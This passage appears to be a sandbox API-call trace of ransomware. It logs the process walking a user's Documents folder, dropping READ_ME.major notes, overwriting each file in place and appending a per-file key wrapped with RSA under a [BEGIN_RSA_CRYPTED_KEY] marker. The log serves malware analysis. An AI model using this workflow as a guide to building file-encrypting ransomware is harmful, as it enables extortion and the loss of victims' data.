CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="02zOUahzeDH+AQOJ15RbWBNfXW8ufGooWIcW03SQ280iX7Qr/GPXsUKp6xmZ4R5w\nEik64xzZNwTh63h6aSeibxbAUDN6gNxx31MW3h/nQcro1TUsSxMMJ8+uBRMHgmK6\noMKD7Jrdx16lKbzl0oO+r9nlc+g8hpN4oYC2GgOfOk0+jYj0zRXT1vrsEkaw/yhX\nLZxQZtJjIt9kFI0znQ3qPBRmhL8k2JOdWMqDydMj2h2xdsE/DHhZ8SKeGAhAk8Bo\nijAErkfDgaHWtkb5nS2f36qTccg6CGLoveZXicn8wraRgGWLeBAFMuFsBHPWOoBn\n8k0X6U4r83fR48CCbXRZUw==\n", pcchString=0x2e3f9a8) returned 1 [0169.758] WriteFile (in: hFile=0x794, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.758] WriteFile (in: hFile=0x794, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.759] CloseHandle (hObject=0x794) returned 1 [0169.764] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf59870, ftCreationTime.dwHighDateTime=0x1d4d443, ftLastAccessTime.dwLowDateTime=0xf61b4000, ftLastAccessTime.dwHighDateTime=0x1d4cb20, ftLastWriteTime.dwLowDateTime=0x1c7476ec, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654020 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf59870, ftCreationTime.dwHighDateTime=0x1d4d443, ftLastAccessTime.dwLowDateTime=0xf61b4000, ftLastAccessTime.dwHighDateTime=0x1d4cb20, ftLastWriteTime.dwLowDateTime=0x1c7476ec, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c142bd0, ftCreationTime.dwHighDateTime=0x1d4d108, ftLastAccessTime.dwLowDateTime=0x97cb3d20, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x97cb3d20, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x10894, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="02wH5aekc7_WjxMX9LF.odp", cAlternateFileName="02WH5A~1.ODP")) returned 1 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x568ff8e0, ftCreationTime.dwHighDateTime=0x1d4c8ec, ftLastAccessTime.dwLowDateTime=0xb50cf6a0, ftLastAccessTime.dwHighDateTime=0x1d4c74a, ftLastWriteTime.dwLowDateTime=0xb50cf6a0, ftLastWriteTime.dwHighDateTime=0x1d4c74a, nFileSizeHigh=0x0, nFileSizeLow=0xf676, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Dk_Zu5tzh vuw.pps", cAlternateFileName="DK_ZU5~1.PPS")) returned 1 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0441f00, ftCreationTime.dwHighDateTime=0x1d4d0cf, ftLastAccessTime.dwLowDateTime=0x1e117680, ftLastAccessTime.dwHighDateTime=0x1d4d312, ftLastWriteTime.dwLowDateTime=0x1e117680, ftLastWriteTime.dwHighDateTime=0x1d4d312, nFileSizeHigh=0x0, nFileSizeLow=0x5dc8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="FcWZPiT.xls", cAlternateFileName="")) returned 1 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c2450c0, ftCreationTime.dwHighDateTime=0x1d4c96d, ftLastAccessTime.dwLowDateTime=0x7033b6a0, ftLastAccessTime.dwHighDateTime=0x1d4ccf8, ftLastWriteTime.dwLowDateTime=0x7033b6a0, ftLastWriteTime.dwHighDateTime=0x1d4ccf8, nFileSizeHigh=0x0, nFileSizeLow=0x4ae5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Gd-cqGrwtj.rtf", cAlternateFileName="GD-CQG~1.RTF")) returned 1 [0169.764] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda072000, ftCreationTime.dwHighDateTime=0x1d4c5cb, ftLastAccessTime.dwLowDateTime=0x8323bed0, ftLastAccessTime.dwHighDateTime=0x1d4ced9, ftLastWriteTime.dwLowDateTime=0x8323bed0, ftLastWriteTime.dwHighDateTime=0x1d4ced9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="JlJRMwcQlhmiO8", cAlternateFileName="JLJRMW~1")) returned 1 [0169.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\jljrmwcqlhmio8\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.765] WriteFile (in: hFile=0x798, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.766] CloseHandle (hObject=0x798) returned 1 [0169.766] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf87810d0, ftCreationTime.dwHighDateTime=0x1d4cfb7, ftLastAccessTime.dwLowDateTime=0xf2d85f40, ftLastAccessTime.dwHighDateTime=0x1d4c99a, ftLastWriteTime.dwLowDateTime=0xf2d85f40, ftLastWriteTime.dwHighDateTime=0x1d4c99a, nFileSizeHigh=0x0, nFileSizeLow=0x6896, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="JrCvvDlRrps1Ds7zw52k.rtf", cAlternateFileName="JRCVVD~1.RTF")) returned 1 [0169.766] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c7476ec, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c7476ec, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.766] FindNextFileW (in: hFindFile=0x654020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c7476ec, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c7476ec, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.766] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.766] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JrCvvDlRrps1Ds7zw52k.rtf", dwFileAttributes=0x80) returned 1 [0169.766] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JrCvvDlRrps1Ds7zw52k.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\jrcvvdlrrps1ds7zw52k.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.767] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26774) returned 1 [0169.767] ReadFile (in: hFile=0x798, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x6896, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6896, lpOverlapped=0x0) returned 1 [0169.768] SetFilePointer (in: hFile=0x798, lDistanceToMove=-26774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.768] WriteFile (in: hFile=0x798, lpBuffer=0x65f978*, nNumberOfBytesToWrite=0x6896, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65f978*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6896, lpOverlapped=0x0) returned 1 [0169.768] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6896 [0169.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.768] WriteFile (in: hFile=0x798, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="BUON3ZvBkvNbUwOAus+KkZntJw6TzZ9JlMHFQEbGRklTsm+/jkXxAj4+aLBpdL/n\nKQon9v92XwpNhXRtpBlGzHJN2wzFEDvPq1VqleFPNbkVkYeNctWgrqYzrDdMsh4l\nbOLEmFjh3Ox9nUJCUpMlefBjmOBZk6hcigtGXux/RVR5znvjua4vxHPWUlELPnFT\nfyjYf+uDwfdAWTS5rL1rDHDXwINNkwGD0NiTCmtueH7a1wZQUsMkBgWT/Fm1Ww8k\nKKvrrU/62cdmYKCYtfaUiy2ImCyhGRT3cdx0Bz6BBwwhLJEcjFHSuZQRn63pRkwO\nOEMO00fPA0EQxKYslM3brA==\n", pcchString=0x2e3f9a8) returned 1 [0169.768] WriteFile (in: hFile=0x798, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.768] WriteFile (in: hFile=0x798, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.768] CloseHandle (hObject=0x798) returned 1 [0169.770] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\Gd-cqGrwtj.rtf", dwFileAttributes=0x80) returned 1 [0169.770] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\Gd-cqGrwtj.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\gd-cqgrwtj.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.770] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19173) returned 1 [0169.771] ReadFile (in: hFile=0x798, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x4ae5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x4ae5, lpOverlapped=0x0) returned 1 [0169.771] SetFilePointer (in: hFile=0x798, lDistanceToMove=-19173, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.771] WriteFile (in: hFile=0x798, lpBuffer=0x65dbc8*, nNumberOfBytesToWrite=0x4ae5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65dbc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4ae5, lpOverlapped=0x0) returned 1 [0169.771] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4ae5 [0169.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.772] WriteFile (in: hFile=0x798, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="UFnBRsjeAu7K1vH6ck7wXFIvpwj5UCZ9Cc/Qllmoz1LRsZmDAe1tkFu9UJDKRHyO\nwn/+tj3oQfHjADj5DmriZzPAKWNoBMK5PtfWJ8f80c+xf9VVZYNAzs+b8oxyVk6u\nnrhoAR46SSaJ/hEsSzYRUygYSWiZ2Z9J8jIzcA5UjHY1XFB0Zb8oE2eJXHfqVkTx\n8gpzYcEVf39Y66w9z+DVqKyP9H9DR8ch6uUNS556ZMijj0LphXZPE0NJlhL8JLf7\nF2/QmVtMRqo7dH1jFYqWGVb+fFiL46B7t116S6UXhyveTvBoFSA8ipjtg5+n9Qsj\nz3YWVbpvJWBnng1+4ah1SA==\n", pcchString=0x2e3f9a8) returned 1 [0169.772] WriteFile (in: hFile=0x798, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.772] WriteFile (in: hFile=0x798, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.772] CloseHandle (hObject=0x798) returned 1 [0169.773] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.773] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\FcWZPiT.xls", dwFileAttributes=0x80) returned 1 [0169.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\FcWZPiT.xls" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\fcwzpit.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.774] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=24008) returned 1 [0169.774] ReadFile (in: hFile=0x798, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x5dc8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x5dc8, lpOverlapped=0x0) returned 1 [0169.775] SetFilePointer (in: hFile=0x798, lDistanceToMove=-24008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.775] WriteFile (in: hFile=0x798, lpBuffer=0x65eea8*, nNumberOfBytesToWrite=0x5dc8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65eea8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5dc8, lpOverlapped=0x0) returned 1 [0169.775] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5dc8 [0169.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.775] WriteFile (in: hFile=0x798, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ow2Fqec2rL35eURPJkD3m6Kzk4ZxJArKEqqFu/1A9zg7vkywaAwP7SYpwLCjPqIX\nwGstiX0o8NudYkup1y0tR87m2KbXA3JWrFbitsQ942e9Jjpfc8qrbZQ7EvVZcSWo\nD9izml3DfgNz+7x+0HVutye0VQpBiNoJIGw7fdPcEawivYaSUuWvAMie7BtZxo9+\nHgD4oqSP9bQF1bKQGdvWko8F8NpK8zRT79XvP1uPHsq1/A8JjtzzYYdMbPcV2iWE\ngoJ+LJTcHnxMavRIZEYEGeQZZmMQGSVp3rZdSblgGqnmkEzgII/6ZX6I49fCd4ws\n7R73sP7ZlsqJoFuu9Vbbfg==\n", pcchString=0x2e3f9a8) returned 1 [0169.775] WriteFile (in: hFile=0x798, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.775] WriteFile (in: hFile=0x798, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.776] CloseHandle (hObject=0x798) returned 1 [0169.777] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\Dk_Zu5tzh vuw.pps", dwFileAttributes=0x80) returned 1 [0169.777] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\Dk_Zu5tzh vuw.pps" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\dk_zu5tzh vuw.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.777] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63094) returned 1 [0169.777] ReadFile (in: hFile=0x798, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xf676, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xf676, lpOverlapped=0x0) returned 1 [0169.778] SetFilePointer (in: hFile=0x798, lDistanceToMove=-63094, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.778] WriteFile (in: hFile=0x798, lpBuffer=0x2e80f30*, nNumberOfBytesToWrite=0xf676, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf676, lpOverlapped=0x0) returned 1 [0169.779] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf676 [0169.779] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.779] WriteFile (in: hFile=0x798, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.779] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.779] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.779] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.779] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9n7l0bpAwJnIwk+fqe0aVuVwMUj1i1pXzRGi6I1Kv8amUhgl9RlWvsEs+T/4OZwp\nrMchmBqLa3RRifJtEgGflo9QqqaP8sSSfaMzqqy9HFwHfS5pM3yrrogmaP9E8BPg\nEU8xWnXFRmCsu7rWpBSGNh1gPk3wQO5s1szdAl90n9UgFwh8GRq61suVyYn1a5fN\nFUacvyeALeHy5fjCkO4Lp8YjdTrcmPZJ+PuvUmIAzaCgr1Lq1/N4N3kfwCJHTEK6\n6euB1An6JcAQPnnX5VS8+Cfx2+KSGT151mI8YYZ7ObF1di8hjEW+LrQtvR35kCO1\n31kkt6OSrCIpoITv73xwDg==\n", pcchString=0x2e3f9a8) returned 1 [0169.779] WriteFile (in: hFile=0x798, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.779] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.779] WriteFile (in: hFile=0x798, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.779] CloseHandle (hObject=0x798) returned 1 [0169.780] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.780] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\02wH5aekc7_WjxMX9LF.odp", dwFileAttributes=0x80) returned 1 [0169.781] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\02wH5aekc7_WjxMX9LF.odp" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\02wh5aekc7_wjxmx9lf.odp"), dwDesiredAccess=0xc0000000, 